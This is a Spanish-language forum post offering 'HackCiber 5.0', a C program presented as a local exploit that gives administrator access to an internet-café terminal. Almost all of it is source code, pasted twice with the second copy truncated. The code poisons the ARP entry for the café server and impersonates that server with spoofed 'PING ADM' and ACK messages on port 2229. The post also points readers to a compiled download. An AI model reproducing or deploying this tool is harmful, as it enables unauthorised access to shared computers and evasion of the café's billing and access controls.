La unica diferencia este exploit es de uso local pero nos da acceso ciberpuesto en modo administrador, si quereis el archivo compilado os lo podeis bajar de www.fakedos.tk
Espero que os guste G3r4rD.
Código:
#include <stdio.h>
#include <conio.h>
#include "winsock2.h"
#pragma comment(lib, "wsock32.lib")
int InitConnectSocket(char *RemoteHost, SOCKET &sock, sockaddr_in &Sin, int port)
{
struct hostent *Host;
if ((Host=gethostbyname(RemoteHost)) == NULL)
return 0;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
return 0;
Sin.sin_family = AF_INET;
Sin.sin_port = htons(port);
Sin.sin_addr=*((struct in_addr *)Host->h_addr);
memset(&(Sin.sin_zero), '\0', 8);
if (connect(sock, (struct sockaddr *)&Sin, sizeof(struct sockaddr)) == -1)
return 0;
return 1;
}
int InitListenSocket(SOCKET &sock, sockaddr_in &service, int port)
{
service.sin_family = AF_INET;
service.sin_addr.s_addr =htonl(INADDR_ANY);
service.sin_port = htons(port);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("Error en socket(): %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
if (bind( sock,(SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR)
{
printf("bind() fallo.\n");
closesocket(sock);
return 0;
}
if (listen( sock, 1 ) == SOCKET_ERROR)
printf("Error en socket de escucha.\n");
return 1;
}
int main(int argc, char* argv[])
{
SOCKET Sock;
sockaddr_in Sin;
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error WSAStartup()\n");
printf("HackCiber 5.0 by G3r4rd\n");
printf("www.fakedos.tk\n\n");
if(argc<2)
{
printf("Ejemplo :\n\n");
printf("HackCiber50.exe -i [Server ip] \"Inicializa el puesto\"\n");
printf("HackCiber50.exe -e \"Emula terminal\"\n");
WSACleanup();
return 0;
}
if(!strcmp("-i",argv[1]) && argc==3)
{
char SFinCiber[] = {0x50,0x49,0x4e,0x47,0x09,0x41,0x44,0x4d,0x09};
char ARP[100];
char hola[100];
strcpy(ARP,"arp -s ");
strcat(ARP, argv[2]);
strcat(ARP, " 00-00-00-00-00-00");
system(ARP);
Sleep(1000);
if(!InitConnectSocket("127.0.0.1",Sock,Sin,2229))
printf("No se ha podido inicializar el puesto\n");
else
{
send(Sock,SFinCiber,9,0);
recv(Sock, hola, 100,0);
printf("Puesto inicializado.\n");
printf("Apaga el puesto y selecciona la opcion salir a windows\n");
}
WSACleanup();
return 1;
}
else if(!strcmp("-e",argv[1]))
{
char ACK[] = {0x41,0x43,0x4b,0x09};
char RData[100];
unsigned int Rev;
SOCKET AcceptSocket;
system("arp -d *");
InitListenSocket(Sock,Sin,2229);
printf("Esperando conexion...\n");
AcceptSocket = accept( Sock, NULL, NULL );
printf("Conectado.\n");
while(!kbhit())
{
while(Rev = recv(AcceptSocket,RData,sizeof(RData),0))
if(Rev!=-1)
send(AcceptSocket, ACK, 4,0);
else
{
printf("Conexion perdida esperando reconexion...\n");
AcceptSocket = accept( Sock, NULL, NULL );
printf("Reconectado\n");
}
}
}
else
{
printf("Ejemplo :\n\n");
printf("HackCiber50.exe -i \"Inicializa el puesto\"\n");
printf("HackCiber50.exe -e \"Emula terminal\"\n");
WSACleanup();
return 0;
}
WSACleanup();
return 1;
}
#include <conio.h>
#include "winsock2.h"
#pragma comment(lib, "wsock32.lib")
int InitConnectSocket(char *RemoteHost, SOCKET &sock, sockaddr_in &Sin, int port)
{
struct hostent *Host;
if ((Host=gethostbyname(RemoteHost)) == NULL)
return 0;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
return 0;
Sin.sin_family = AF_INET;
Sin.sin_port = htons(port);
Sin.sin_addr=*((struct in_addr *)Host->h_addr);
memset(&(Sin.sin_zero), '\0', 8);
if (connect(sock, (struct sockaddr *)&Sin, sizeof(struct sockaddr)) == -1)
return 0;
return 1;
}
int InitListenSocket(SOCKET &sock, sockaddr_in &service, int port)
{
service.sin_family = AF_INET;
service.sin_addr.s_addr =htonl(INADDR_ANY);
service.sin_port = htons(port);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
printf("Error en socket(): %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
if (bind( sock,(SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR)
{
printf("bind() fallo.\n");
closesocket(sock);
return 0;
}
if (listen( sock, 1 ) == SOCKET_ERROR)
printf("Error en socket de escucha.\n");
return 1;
}
int main(int argc, char* argv[])
{
SOCKET Sock;
sockaddr_in Sin;
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error WSAStartup()\n");
printf("HackCiber 5.0 by G3r4rd\n");
printf("www.fakedos.tk\n\n");
if(argc<2)
{
printf("Ejemplo :\n\n");
printf("HackCiber50.exe -i [Server ip] \"Inicializa el puesto\"\n");
printf("HackCiber50.exe -e \"Emula terminal\"\n");
WSACleanup();
return 0;
}
if(!strcmp("-i",argv[1]) && argc==3)
{
char SFinCiber[] = {0x50,0x49,0x4e,0x47,0x09,0x41,0x44,0x4d,0x09};
char ARP[100];
char hola[100];
strcpy(ARP,"arp -s ");
strcat(ARP, argv[2]);
strcat(ARP, " 00-00-00-00-00-00");
system(ARP);
Sleep(1000);
if(!InitConnectSocket("127.0.0.1",Sock,Sin,2229))
printf("No se ha podido inicializar el puesto\n");
else
{
send(Sock,SFinCiber,9,0);
recv(Sock, hola, 100,0);
printf("Puesto inicializado.\n");
printf("Apaga el puesto y selecciona la opcion salir a windows\n");
}
WSACleanup();
return 1;
}
else if(!strcmp("-e",argv[1]))
{
char ACK[] = {0x41,0x43,0x4b,0x09};
char RData[100];
unsigned int Rev;
SOCKET AcceptSocket;
system("arp -d *");
InitListenSocket(Sock,Sin,2229);
printf("Esperando conexion...\n");
AcceptSocket = accept( Sock, NULL, NULL );
printf("Conectado.\n");
while(!kbhit())
{
while(Rev = recv(AcceptSocket,RData,sizeof(RData),0))
if(Rev!=-1)
send(AcceptSocket, ACK, 4,0);
else
{
printf("Conexion perdida esperando reconexion...\n");
AcceptSocket = accept( Sock, NULL, NULL );
printf("Reconectado\n");
}
}
}
else
{
printf("Ejemplo :\n\n");
printf("HackCiber50.exe -i \"Inicializa el puesto\"\n");
printf("HackCiber50.exe -e \"Emula terminal\"\n");
WSACleanup();
return 0;
}
WSACleanup();
return 1;
}










Autor



En línea

